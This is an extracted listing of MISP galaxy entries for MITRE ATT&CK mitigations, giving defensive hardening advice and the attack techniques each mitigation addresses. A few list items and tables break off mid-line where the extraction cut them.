Setting the `<code>timestamp_timeout</code>` to 0 will require the user to input their password every time `<code>sudo</code>` is executed. Similarly, ensuring that the `<code>tty_tickets</code>` setting is enabled will prevent this leakage across tty sessions.

The tag is: misp-galaxy:mitre-course-of-action="Sudo Caching Mitigation - T1206"

Table 6129. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1206">https://attack.mitre.org/mitigations/T1206</a></td>
</tr>
</tbody>
</table>

**Operating System Configuration - M1028**

Make configuration changes related to the operating system or a common feature of the operating
system that result in system hardening against techniques.

The tag is: *misp-galaxy:mitre-course-of-action="Operating System Configuration - M1028"*

View relationships graph

Operating System Configuration - M1028 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Bluetooth - T1011.001"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1548.001" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Bash History - T1552.003" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Network Provider DLL - T1556.008" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"


Remote Data Storage - M1029

Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.

The tag is: misp-galaxy:mitre-course-of-action="Remote Data Storage - M1029"

View relationships graph

Remote Data Storage - M1029 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Clear Network Connection History and Configurations - T1070.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clear Mailbox Data - T1070.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565" with estimative-language:likelihood-probability="almost-certain"
Time Providers Mitigation - T1209

Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

Consider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)

The tag is: misp-galaxy:mitre-course-of-action="Time Providers Mitigation - T1209"

Scheduled Transfer Mitigation - T1029

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Scheduled Transfer Mitigation - T1029"
**Limit Software Installation - M1033**

Block users or groups from installing unapproved software.

The tag is: *misp-galaxy:mitre-course-of-action="Limit Software Installation - M1033"*

**View relationships graph**

Limit Software Installation - M1033 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"

*Table 6134. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1033">https://attack.mitre.org/mitigations/M1033</a></td>
</tr>
</tbody>
</table>

**Credential Access Protection - M1043**

Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.

The tag is: *misp-galaxy:mitre-course-of-action="Credential Access Protection - M1043"*

**View relationships graph**

Credential Access Protection - M1043 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Network Address Translation Traversal - T1599.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-
• mitigates: misp-galaxy:mitre-attack-pattern="Modify System Image - T1601" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Boundary Bridging - T1599" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Patch System Image - T1601.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Downgrade System Image - T1601.002" with estimative-language:likelihood-probability="almost-certain"

### Limit Hardware Installation - M1034

Block users or groups from installing or using unapproved hardware on systems, including USB devices.

The tag is: *misp-galaxy:mitre-course-of-action="Limit Hardware Installation - M1034"*

View relationships graph

Limit Hardware Installation - M1034 has relationships with:

• mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"

### Path Interception Mitigation - T1034

Eliminate path interception weaknesses in program configuration files, scripts, the PATH
environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.

Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel).

Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory `<code>C:</code>` and system directories, such as `<code>C:\Windows\</code>`, to reduce places where malicious files could be placed for execution.

Identify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.

The tag is: *misp-galaxy:mitre-course-of-action="Path Interception Mitigation - T1034"*

*Table 6137. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>[<a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a>]</td>
</tr>
<tr>
<td>[<a href="https://attack.mitre.org/mitigations/T1034">https://attack.mitre.org/mitigations/T1034</a>]</td>
</tr>
<tr>
<td>[<a href="https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html">https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html</a>]</td>
</tr>
<tr>
<td>[<a href="https://skanthak.homepage.t-online.de/sentinel.html">https://skanthak.homepage.t-online.de/sentinel.html</a>]</td>
</tr>
</tbody>
</table>

**Service Execution Mitigation - T1035**

Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.

Identify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker)
Scheduled Task Mitigation - T1053

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)

Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)

Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)

Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Scheduled Task Mitigation - T1053"

Table 6139. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Table 6138. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1035">https://attack.mitre.org/mitigations/T1035</a></td>
</tr>
</tbody>
</table>
Account Use Policies - M1036

Configure features related to account use like login attempt lockouts, specific login times, etc.

The tag is: misp-galaxy:mitre-course-of-action="Account Use Policies - M1036"

View relationships graph

Account Use Policies - M1036 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="almost-certain"

Table 6140. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1036">https://attack.mitre.org/mitigations/M1036</a></td>
</tr>
</tbody>
</table>
Filter Network Traffic - M1037

Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.

The tag is: misp-galaxy:mitre-course-of-action="Filter Network Traffic - M1037"

View relationships graph

Filter Network Traffic - M1037 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Direct Network Flood - T1498.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="OS Exhaustion Flood - T1499.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Exhaustion Flood - T1499.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage - T1530" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Network Address Translation Traversal - T1599.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Device Configuration Dump - T1602.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="DHCP Spoofing - T1557.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Verclsid - T1218.012" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205.001" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Boundary Bridging - T1599" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001" with estimative-language:likelihood-probability="almost-certain"


Table 6141. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1037">https://attack.mitre.org/mitigations/M1037</a></td>
</tr>
</tbody>
</table>

**Logon Scripts Mitigation - T1037**

Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of [Valid Accounts](https://attack.mitre.org/techniques/T1078).

Identify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.

The tag is: *misp-galaxy:mitre-course-of-action="Logon Scripts Mitigation - T1037"*

Table 6142. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1037">https://attack.mitre.org/mitigations/T1037</a></td>
</tr>
</tbody>
</table>

**Environment Variable Permissions - M1039**

Prevent modification of environment variables by unauthorized users and groups.

The tag is: *misp-galaxy:mitre-course-of-action="Environment Variable Permissions - M1039"*

View relationships graph

Environment Variable Permissions - M1039 has relationships with:
• mitigates: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003" with estimative-language:likelihood-probability="almost-certain"

**Process Hollowing Mitigation - T1093**

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Process Hollowing Mitigation - T1093"

**Restrict Library Loading - M1044**

Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.

The tag is: misp-galaxy:mitre-course-of-action="Restrict Library Loading - M1044"
Restrict Library Loading - M1044 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008" with estimative-language:likelihood-probability="almost-certain"

Table 6145. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1044">https://attack.mitre.org/mitigations/M1044</a></td>
</tr>
</tbody>
</table>

**Indicator Blocking Mitigation - T1054**

Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.

The tag is: *misp-galaxy:mitre-course-of-action="Indicator Blocking Mitigation - T1054"*

Table 6146. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1054">https://attack.mitre.org/mitigations/T1054</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal">https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal</a></td>
</tr>
</tbody>
</table>

**Software Packing Mitigation - T1045**

Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.

Identify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Software Packing Mitigation - T1045"*

Table 6147. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
</tbody>
</table>
Data Staged Mitigation - T1074

Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.

The tag is: `misp-galaxy:mitre-course-of-action="Data Staged Mitigation - T1074"`

Environmental Keying Mitigation - T1480

This technique likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.

The tag is: `misp-galaxy:mitre-course-of-action="Environmental Keying Mitigation - T1480"`

Do Not Mitigate - M1055

This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.

The tag is: `misp-galaxy:mitre-course-of-action="Do Not Mitigate - M1055"`
Do Not Mitigate - M1055 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001" with estimative-language:likelihood-probability="almost-certain"

Table 6150. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1055">https://attack.mitre.org/mitigations/M1055</a></td>
</tr>
</tbody>
</table>

Data Loss Prevention - M1057

Use a data loss prevention (DLP) strategy to categorize sensitive data, identify data formats indicative of personal identifiable information (PII), and restrict exfiltration of sensitive data.(Citation: PurpleSec Data Loss Prevention)

The tag is: misp-galaxy:mitre-course-of-action="Data Loss Prevention - M1057"

Data Loss Prevention - M1057 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Webhook - T1567.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol -
Process Discovery Mitigation - T1057

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Process Discovery Mitigation - T1057"

Account Discovery Mitigation - T1087

Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CredUI\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: Enumerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Account Discovery Mitigation - T1087"
Valid Accounts Mitigation - T1078

Take measures to detect or prevent techniques such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems.

Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized.

Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured.

The tag is: *misp-galaxy:mitre-course-of-action="Valid Accounts Mitigation - T1078"*
Multilayer Encryption Mitigation - T1079

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Multilayer Encryption Mitigation - T1079"

Modify Registry Mitigation - T1112

Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.

Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Modify Registry Mitigation - T1112"
Authentication Package Mitigation - T1131

Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

The tag is: misp-galaxy:mitre-course-of-action="Authentication Package Mitigation - T1131"

Screen Capture Mitigation - T1113

Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Screen Capture Mitigation - T1113"
Email Collection Mitigation - T1114

Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.

Use of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.

Identify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Email Collection Mitigation - T1114"

Table 6159. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
